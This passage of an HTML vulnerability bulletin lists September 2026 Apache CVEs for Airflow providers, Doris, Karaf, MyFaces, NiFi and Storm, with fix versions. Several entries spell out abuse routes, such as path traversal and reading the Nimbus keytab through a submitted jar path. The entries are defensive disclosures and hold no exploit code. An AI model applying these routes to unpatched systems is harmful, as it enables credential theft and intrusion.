&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow FAB provider&lt;/td&gt;
&lt;td&gt;Apache Airflow FAB provider: resetting a user&#039;s password does not delete that user&#039;s existing database-backed sessions, despite documented behaviour that it does. The cleanup compares the string identifier Flask-Login stores in the session against the user&#039;s integer database identifier, so the comparison never matches and no session is removed. An attacker who already holds a copy of the victim&#039;s session cookie keeps access as that user after the password change, so the reset does not evict them. Affects deployments using the FAB auth manager with `[fab] session_backend=database`. The trigger is an administrator (or the user) running the supported password-reset command as a containment action after a session cookie has been compromised; the secure-cookie backend is out of scope, as it documents that it cannot centrally delete sessions. apache-airflow-providers-fab 3.9.0 also fixes CVE-2026-86462, a second, independent route to the same outcome via the Admin user-edit endpoint; a single upgrade closes both. Users of apache-airflow-providers-fab are recommended to upgrade to version 3.9.0 or later, which compares the identifiers consistently.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82311&quot; target=&quot;_blank&quot;&gt;CVE-2026-82311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow FAB provider&lt;/td&gt;
&lt;td&gt;Apache Airflow FAB provider: changing a user&#039;s password through the Admin user-edit PATCH endpoint does not invalidate that user&#039;s existing database-backed sessions. An attacker who already holds a copy of the victim&#039;s session cookie keeps full access as that user after the password change, so the password reset does not evict them. Affects deployments using the FAB auth manager with database-backed sessions; an administrator (or the user themselves) performing a routine password change is the trigger, and no attacker interaction with the endpoint is needed. This is a second, independent route to the outcome addressed by CVE-2026-82311, which corrected an identifier comparison in the session-invalidation helper. That fix does not repair this endpoint, because the PATCH path never calls the helper at all. Deployments that applied the CVE-2026-82311 fix must also upgrade for this one. Users of apache-airflow-providers-fab are recommended to upgrade to version 3.9.0 or later, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86462&quot; target=&quot;_blank&quot;&gt;CVE-2026-86462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow FAB provider&lt;/td&gt;
&lt;td&gt;Apache Airflow FAB provider: the Authentik OAuth path in the FAB auth manager does not validate the issuer or audience claims of the id_token it accepts. An attacker holding a token that the same Authentik identity provider minted for a different client application can present it to Airflow and be authenticated as the user it names, because the audience claim is never checked. Affects deployments using the FAB auth manager with Authentik OAuth where the same Authentik instance also serves other applications; the attacker needs a valid token for any of those other applications, not for Airflow. CVE-2026-75156 corrected the same missing validation on the Azure AD path in this file; the Authentik path was left unchanged and is fixed here. Deployments that applied the CVE-2026-75156 fix and use Authentik must also upgrade for this one. Users of apache-airflow-providers-fab are recommended to upgrade to version 3.9.0 or later, which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86466&quot; target=&quot;_blank&quot;&gt;CVE-2026-86466&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow Keycloak provider&lt;/td&gt;
&lt;td&gt;Apache Airflow Keycloak provider: from Airflow 3.3 the Keycloak auth manager takes a user&#039;s identity from the signed Airflow session token but takes the Keycloak access and refresh tokens used for every authorization decision from separate, unauthenticated cookies, and never checks that the two describe the same subject. A user who holds any valid Airflow login of their own, together with another subject&#039;s Keycloak access or refresh token obtained out of band, can pair the two: Airflow then authorizes requests with the foreign token&#039;s privileges while the session identity, audit log and cache keys continue to name the attacker&#039;s own account. The refresh path re-issues an Airflow session token for the original identity carrying the foreign tokens, so the mismatched pairing survives across sessions. Affects deployments running Airflow 3.3 or later with the Keycloak auth manager. Earlier versions carried the Keycloak tokens inside the signed session token, so the binding existed and was lost when they moved into separate cookies. Users of apache-airflow-providers-keycloak are recommended to upgrade to version 0.10.0 or later, which binds the cookie-supplied tokens to the session identity.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76186&quot; target=&quot;_blank&quot;&gt;CVE-2026-76186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Airflow Keycloak provider&lt;/td&gt;
&lt;td&gt;Apache Airflow Keycloak provider: the unauthenticated token endpoint accepts a client-credentials grant for any confidential client registered in the Keycloak realm, not only the client configured for Airflow. No allowlist restricts which client ids may authenticate, so the credentials of an unrelated application that happens to share the realm are valid Airflow login credentials, and Airflow mints a signed session token for that application&#039;s service account. The endpoint also answers unauthenticated credential guesses against Keycloak under Airflow&#039;s identity. Affects deployments using the Keycloak auth manager whose realm is shared with other confidential clients. The attacker needs valid credentials for any one of those clients, not for Airflow. Resource authorization is still evaluated per subject, so the access gained is whatever that service account holds, plus any endpoint gated only on being authenticated. Users of apache-airflow-providers-keycloak are recommended to upgrade to version 0.10.0 or later, which accepts only the configured client on that grant.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76187&quot; target=&quot;_blank&quot;&gt;CVE-2026-76187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Doris&lt;/td&gt;
&lt;td&gt;Incorrect Authorization vulnerability in Apache Doris allows an authenticated user to bypass privilege checks and access data they are not authorized to read, resulting in unauthorized disclosure of information. This issue affects Apache Doris: from 2.0.0 through 2.1.*, from 3.0.0 through 3.0.*, from 4.0.0 before 4.0.8, and from 4.1.0 before 4.1.4. Users are recommended to upgrade to a fixed release (4.0.8 or 4.1.4), which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68570&quot; target=&quot;_blank&quot;&gt;CVE-2026-68570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Doris&lt;/td&gt;
&lt;td&gt;Incorrect Authorization vulnerability in Apache Doris allows an authenticated user to bypass privilege checks and access or modify data they are not authorized to. This issue affects Apache Doris: from 3.1.0 through 3.1.*, from 4.0.0 through 4.0.7, and from 4.1.0 through 4.1.3. Users are recommended to upgrade to a fixed release (4.0.8 or 4.1.4), which fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72524&quot; target=&quot;_blank&quot;&gt;CVE-2026-72524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Karaf&lt;/td&gt;
&lt;td&gt;Apache Karaf&#039;s XmlUtils cached XML parser/transformer factories in static ThreadLocal fields on long-lived container threads. Because a ThreadLocal value outlives the OSGi bundle that created it, repeated bundle or feature install, update, or refresh operations can leave successive bundle ClassLoader&#039;s pinned in memory and unreachable for garbage collection, leading to unbounded Metaspace growth and eventual denial of service of the Karaf instance.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92230&quot; target=&quot;_blank&quot;&gt;CVE-2026-92230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache MyFaces&lt;/td&gt;
&lt;td&gt;Server-Side Request Forgery / Local File Inclusion in Apache MyFace Core. Older unsupported versions may also be affected.&amp;nbsp; Users are recommended to upgrade to versions 2.3.12, 2.3-next-M9, 3.0.4, 4.0.4, or 4.1.4, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68536&quot; target=&quot;_blank&quot;&gt;CVE-2026-68536&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache MyFaces&lt;/td&gt;
&lt;td&gt;A remote attacker could cause excessive resource consumption by supplying specially crafted request parameters, potentially resulting in a denial of service condition. Older unsupported versions may also be affected. Users are recommended to upgrade to versions 2.3.12, 2.3-next-M9, 3.0.4, 4.0.4, or 4.1.4, which fix this issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76646&quot; target=&quot;_blank&quot;&gt;CVE-2026-76646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache NiFi&lt;/td&gt;
&lt;td&gt;Apache NiFi 2.11.0 disabled support for gzip-encoded HTTP requests for the application REST API and rejected requests that included the standard Content-Encoding header indicating gzip encoding. The framework enforcement filter did not check multiple instances of the Content-Encoding header and did not reject non-standard identifiers for gzip encoding, allowing a malicious client to send crafted requests that could consume excessive amounts of memory. Upgrading to Apache NiFi 2.12.0 is the recommended mitigation, which disables decompression of gzip-encoded HTTP requests regardless of header number or encoding identifiers.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70469&quot; target=&quot;_blank&quot;&gt;CVE-2026-70469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache NiFi&lt;/td&gt;
&lt;td&gt;Apache NiFi 2.9.0 through 2.11.0 provide Connector configuration update and verification REST API methods that do not enforce authorization checking on Assets and Secrets referenced in proposed configuration. Updating or verifying a Connector configuration step can apply Asset and Secret references, but framework authorization was limited to write privileges on the Connector itself. As a result of the missing authorization, an authenticated user authorized to modify a Connector, but not authorized to read a referenced Parameter Provider, could apply Secret values backed by that Parameter Provider. The same methods also accepted Asset identifiers without verifying that the Asset belonged to the Connector being configured. Apache NiFi installations that do not implement different levels of authorization across Connectors and Parameter Providers are not subject to this vulnerability, because the framework enforces write permissions on the Connector as the security boundary. Upgrading to Apache NiFi 2.12.0 is the recommended mitigation, which authorizes read access to referenced Parameter Providers and verifies Connector ownership of referenced Assets during configuration update and verification.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81866&quot; target=&quot;_blank&quot;&gt;CVE-2026-81866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache NiFi&lt;/td&gt;
&lt;td&gt;Apache NiFi 1.5.0 through 2.11.0 provide REST API methods that replace the entire contents of a Process Group using a client-supplied flow definition, covering Process Group flow replacement together with versioned flow update and rebase operations. Framework authorization for these methods was limited to read and write privileges on the Process Group itself, unlike the corresponding asynchronous update request methods, which also authorize the components encapsulated in the Process Group along with referenced Controller Services, Parameter Contexts, and Parameter Providers. As a result of the missing authorization, an authenticated user with write access to a Process Group could supply a flow definition that modifies or removes components in descendant Process Groups protected by more restrictive access policies, and could bind components to Controller Services and Parameter Contexts without authorization for those referenced components. Existing verification checks limited the impact to stopped components, and the issue applies only to deployments that use component-level authorization policies, because the framework enforces write permissions as the security boundary. Upgrading to Apache NiFi 2.12.0 is the recommended mitigation, which applies consistent reference resolution and component authorization across Process Group replacement and versioned flow update methods&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82561&quot; target=&quot;_blank&quot;&gt;CVE-2026-82561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache NiFi&lt;/td&gt;
&lt;td&gt;Apache NiFi 2.11.0 supports migrating the contents of a version-controlled Process Group into a Connector using REST API methods that list eligible migration sources and submit migration requests. The framework authorized both methods against the target Connector alone, without evaluating access to the Process Groups involved. The absence of Process Group authorization allowed an authenticated user with read access to a Connector to enumerate the identifiers, names, and flow registry details of version-controlled Process Groups outside the scope of granted read policies. It also allowed a user with write access to a Connector to migrate a Process Group without write access to that Process Group, copying the flow definition, referenced assets, and component state into the Connector, and leaving the source Process Group disabled and renamed. Migration excludes sensitive property values and requires the source Process Group to be stopped with empty queues, which limits the scope of exposure. Apache NiFi installations that do not implement component-level authorization policies for Process Groups are not subject to this vulnerability, because the framework enforces Connector write permissions as the security boundary. Upgrading to Apache NiFi 2.12.0 is the recommended mitigation, which filters migration sources to Process Groups the requesting user is authorized to read, and requires write access to the source Process Group when submitting a migration request.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86089&quot; target=&quot;_blank&quot;&gt;CVE-2026-86089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache NiFi Registry&lt;/td&gt;
&lt;td&gt;Apache NiFi Registry 0.4.0 through 2.11.0 are subject to path manipulation when storing extension bundle content using group, artifact, and version coordinates from uploaded NAR manifests. The default file persistence provider used coordinates as filesystem path components without rejected parent-directory names, and the path-containment check compared an unnormalized resolved path. An authenticated user authorized to write and delete bundles in a bucket can upload a NAR with a crafted manifest resulting in file system operations outside of the file persistence directory. Upgrading to Apache NiFi Registry 2.12.0 is the recommended mitigation, which rejects parent-directory coordinates and requires a normalized path to remain a strict child of the storage root location.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87976&quot; target=&quot;_blank&quot;&gt;CVE-2026-87976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Client&lt;/td&gt;
&lt;td&gt;Description Dependency artifacts uploaded with `storm jar --artifacts` were stored under a blob key derived only from the Maven coordinate, for example `dep---.jar`. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader caught `KeyAlreadyExistsException` and silently reused it, with no check that the existing blob&#039;s content or owner matched the artifact the submitter had resolved. A user who uploaded a blob under such a key first therefore controlled the bytes that every later submitter of the same coordinate would receive on the worker classpath, resulting in code execution inside another tenant&#039;s topology. This affects deployments where more than one principal may create blobs and where the `--artifacts` dependency feature is used. Mitigation Upgrade to 3.1.0, where each uploaded artifact receives a key carrying a freshly generated UUID and a pre-existing blob is no longer silently reused. Note that the corrected key generation is on the SUBMITTING CLIENT, so upgrading the cluster alone does not close this; every client that runs `storm jar --artifacts` must also be upgraded. Operators should audit existing `dep-` blobs for unexpected owners before upgrading. Users who cannot upgrade immediately should avoid the `--artifacts` mechanism in multi-tenant clusters and distribute dependencies inside the topology jar instead. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82428&quot; target=&quot;_blank&quot;&gt;CVE-2026-82428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Client&lt;/td&gt;
&lt;td&gt;Description `SimpleACLAuthorizer` evaluated the user-level command set by returning early when `nimbus.users` was empty, before `nimbus.groups` was considered. An operator who restricted cluster access by group alone, leaving `nimbus.users` unset, therefore received no restriction at all: every authenticated principal was permitted every user-level operation, including `submitTopology`, `beginFileUpload` and `getNimbusConf`. `docs/SECURITY.md` presents `nimbus.groups` as a supported way to lock down a cluster, so a deployment following the documentation could believe it was restricted while it was not. The failure is silent; nothing in the logs or the configuration indicates that the group list is being ignored. Both lists left empty continues to mean that no restriction is configured, which is the shipped default and is unchanged. Mitigation Upgrade to 3.1.0, where `nimbus.groups` is evaluated whether or not `nimbus.users` is set. Users who cannot upgrade immediately should additionally populate `nimbus.users` with the intended principals, since a non-empty user list causes the group list to be evaluated on affected versions. Operators should review Nimbus access logs for operations by principals outside the intended groups. Note that after upgrading, a cluster configured with `nimbus.groups` alone becomes restrictive for the first time. This includes `NimbusClient`, which calls `getLeader` on every connection, so clients outside the configured groups will begin to be refused. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82431&quot; target=&quot;_blank&quot;&gt;CVE-2026-82431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm DRPC&lt;/td&gt;
&lt;td&gt;Description The DRPC server kept a map from function name to request queue and created an entry the first time a function name was seen. No code path ever removed an entry: request cleanup removed the request from its queue, and the shutdown path drained queues, but the queue object and its map entry remained for the life of the process. Function names come from the client and are not constrained to functions any topology has registered, so the number of retained entries is bounded only by the number of distinct names an attacker chooses to send, and each retained entry holds the name itself. `drpc.authorizer` is unset by default, so no credentials are required to reach the endpoint. The retained state is permanent rather than a transient load spike, so the effect accumulates until the DRPC server exhausts its heap. Mitigation Upgrade to 3.1.0, where a function&#039;s queue is removed once nothing is waiting in it. Users who cannot upgrade immediately should configure `drpc.authorizer` so that only trusted principals can reach the DRPC endpoints, and should ensure the DRPC ports are not reachable from untrusted networks. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82439&quot; target=&quot;_blank&quot;&gt;CVE-2026-82439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Logviewer&lt;/td&gt;
&lt;td&gt;Description The Logviewer offers `logs.users` and `logs.groups` so operators can control who may read log content. For daemon logs those settings were not applied: the access decision combined the &quot;this is a daemon log&quot; flag with the authorizer result in a way that discarded the authorizer&#039;s answer whenever the flag was set, and the daemon log page and download endpoints reached the handler without consulting an authorizer at all. Any user able to pass the configured servlet filter could therefore read `nimbus.log`, `supervisor.log` and the other daemon logs on every reachable node, which contain other tenants&#039; topology names, owners and configuration fragments. The same advisory covers the log listing endpoints, which accepted a user argument and never applied it, so `/listLogs` and `/searchLogs` returned every tenant&#039;s topology and worker log file names regardless of the caller. That part is metadata only. There was no configuration that closed either behaviour. Mitigation Upgrade to 3.1.0, where the daemon log paths evaluate the same configured user and group lists that the worker log paths already used, and the listing endpoints filter by the requesting user. Users who cannot upgrade immediately should place the Logviewer behind a reverse proxy that restricts the daemon log endpoints, and should treat daemon log content as readable by any filter-authenticated user. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82437&quot; target=&quot;_blank&quot;&gt;CVE-2026-82437&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Nimbus&lt;/td&gt;
&lt;td&gt;Description Nimbus accepted the `uploadedJarLocation` argument of `submitTopology` / `submitTopologyWithOpts` as a server-side path and opened it directly, without checking that it referred to a file the caller had actually uploaded. The intended flow is that a client first calls `beginFileUpload`, which returns a path inside the Nimbus inbox, and uploads the jar in chunks to that location; nothing bound submission to that flow, and the `uploaders` map populated by `beginFileUpload` was never consulted at submit time. An authenticated user with topology submission rights could therefore submit any path readable by the Nimbus daemon user as their topology jar. Nimbus copied the file into the topology&#039;s jar blob, and the blob ACL grants the submitting subject read access, so the contents could then be retrieved with the ordinary blob download RPCs. Candidate targets include the Nimbus Kerberos keytab, Thrift and UI TLS private keys, and `storm.yaml` with the ZooKeeper authentication payload. Possession of the Nimbus keytab turns an ordinary tenant into a cluster administrator. In a deployment configured as the documentation recommends, submission is available to every authenticated principal when `nimbus.users` is unset, so no elevated privilege is required. Mitigation Upgrade to 3.1.0, where the submitted location is canonicalised and must resolve inside the Nimbus inbox. Users who cannot upgrade immediately should restrict topology submission to trusted principals via `nimbus.users` or `nimbus.groups`, and should treat any file readable by the Nimbus daemon user as potentially exposed to submitters: rotate the Nimbus keytab and any TLS private keys or ZooKeeper credentials reachable from that account. Local mode is unaffected. Credit Independently reported to the Apache Storm PMC by n0mi1k, with a proof of concept. Also found by the ASF using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82426&quot; target=&quot;_blank&quot;&gt;CVE-2026-82426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Nimbus&lt;/td&gt;
&lt;td&gt;Description A topology&#039;s `topology.blobstore.map` lets the submitter choose a local name for each blob that the supervisor localises. That name was used to build a path under the topology&#039;s working directory without normalisation, in both `AsyncLocalizer` and `Container.createBlobstoreLinks`, and the symlink helper force-deletes whatever already exists at the target before creating the link. A submitter could therefore use `../` segments to direct that delete-and-symlink operation at an arbitrary path, as the supervisor user, on every node the topology is scheduled onto. The consequences include recursive deletion of supervisor-owned content and planting a symlink that causes a subsequent worker launch to execute attacker-chosen code as another tenant&#039;s operating-system user, which defeats the isolation that `supervisor.run.worker.as.user` is intended to provide. Mitigation Upgrade to 3.1.0, where the resolved target must lie inside the expected root at both call sites. Users who cannot upgrade immediately should restrict topology submission to trusted principals, and may reject submissions whose `topology.blobstore.map` entries contain path separators or `..` segments before they reach Nimbus. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82427&quot; target=&quot;_blank&quot;&gt;CVE-2026-82427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Nimbus&lt;/td&gt;
&lt;td&gt;Description Nimbus validated `topology.blobstore.map` against the calling subject at submission time only. The rebalance operation accepts configuration overrides and stripped a small set of keys from them, but never re-ran that validation, so a caller authorised to rebalance a topology could introduce a blobstore map entry naming a blob whose ACL does not grant them access. Supervisors localise whatever key the map names, placing the blob&#039;s contents into the topology&#039;s working directory. The same advisory covers `listBlobs`, which performed no authorization check and passed no subject, unlike the neighbouring `getBlobMeta` and `beginBlobDownload` operations. It therefore returned every key in the blobstore to any caller able to reach the Nimbus Thrift port, which provides the key names that make the above practical. On its own the disclosure is metadata only. Mitigation Upgrade to 3.1.0, where rebalance configuration overrides are validated exactly as submission-time configuration is, against the rebalancing caller, and where `listBlobs` applies the configured authorization. Users who cannot upgrade immediately should restrict rebalance rights to trusted principals, keeping in mind that membership of a topology&#039;s `topology.users` or `topology.groups` confers them. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82432&quot; target=&quot;_blank&quot;&gt;CVE-2026-82432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Nimbus&lt;/td&gt;
&lt;td&gt;Description `getNimbusConf` returned the complete daemon configuration without redaction after only a user-level authorization check. Where the cluster is configured with them, that response includes `storm.zookeeper.auth.payload` and the keystore and truststore passwords for the Thrift, Netty and ZooKeeper TLS configuration. The project masks passwords elsewhere before display, so the omission here is inconsistent rather than intended. The UI endpoint `/api/v1/cluster/configuration` compounded this. It carried no `@AuthNimbusOp` annotation, and the authorization filter treated a missing annotation as &quot;no gate required&quot; and returned immediately, so the endpoint applied no per-user check at all and proxied the request under the UI daemon&#039;s own principal. Any user able to pass `ui.filter` therefore received the full configuration, including principals that Nimbus itself would have refused.&amp;nbsp; Mitigation Upgrade to 3.1.0, where credential-bearing values are masked before the configuration is served and where every UI API endpoint must declare its authorization explicitly. Users who cannot upgrade immediately should place the UI behind an authenticating reverse proxy that restricts `/api/v1/cluster/configuration`, and should rotate the ZooKeeper authentication payload and any TLS keystore or truststore passwords that were reachable through it. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82433&quot; target=&quot;_blank&quot;&gt;CVE-2026-82433&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Nimbus&lt;/td&gt;
&lt;td&gt;Description When ZooKeeper authentication is configured, Storm deliberately retains `storm.zookeeper.topology.auth.payload` in the topology configuration, because workers need it. Nimbus then served that configuration verbatim to any caller holding read-only topology permissions, so a user whose only grant was the ability to view a topology received its ZooKeeper credential. That credential is not read-only. The cluster state implementation uses write-capable ACLs for worker heartbeats, backpressure and error state, so a recipient can forge or remove that state for the topology concerned. It is not a write credential on assignments. The same advisory covers the submission client, which logged the generated payload at INFO on every submission that generated one, and the SASL handlers, which logged it at DEBUG. The credential therefore also reached any log aggregation or support bundle collected from the cluster. Mitigation Upgrade to 3.1.0, where the payload is removed from the configuration served to read-only callers and is no longer written to logs. Users who cannot upgrade immediately should rotate `storm.zookeeper.topology.auth.payload` for existing topologies, review retained logs and support bundles for the value, and restrict read-only topology permissions to trusted principals. Credit The ASF -- found using Claude agents to study the security of open-source projects, validated and reported by Apache Storm.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82434&quot; target=&quot;_blank&quot;&gt;CVE-2026-82434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apache Software Foundation--Apache Storm Nimbus&lt;/td&gt;
&lt;td&gt;Description A submitted topology carries two lists of blobstore keys, `dependency_jars` and `dependency_artifacts`, which the client fills in after uploading the corresponding blobs. Nimbus performed no validation of their contents on the submission path, yet acts on them in two places. During cleanup of a finished topology, Nimbus deletes the keys named in those lists, and the deletion is performed as the Nimbus subject, for which the blobstore short-circuits its ACL check. A submitter who listed a key belonging to another topology, such as its `-stormjar.jar`, could therefore cause that blob to be deleted when their own topology was cleaned up. Separately, on acquiring leadership a Nimbus compares the dependency keys of all active topologies against the blobstore contents and surrenders leadership if any is missing. A single key that does not exist, on a single active topology, therefore causes every Nimbus to acquire leadership, surrender it and requeue indefinitely, leaving the cluster without a leader and unable to schedule, clean up or accept submissions. Mitigation Upgrade to 3.1.0, where a submission is refused unless every entry in both lists is a dependency blob key and exists in the blobstore. Note that this validates new submissions only; a topology stored by an affected version with an invalid list is unaffected by the upgrade. An operator whose cluster is failing to retain a leader should inspect the 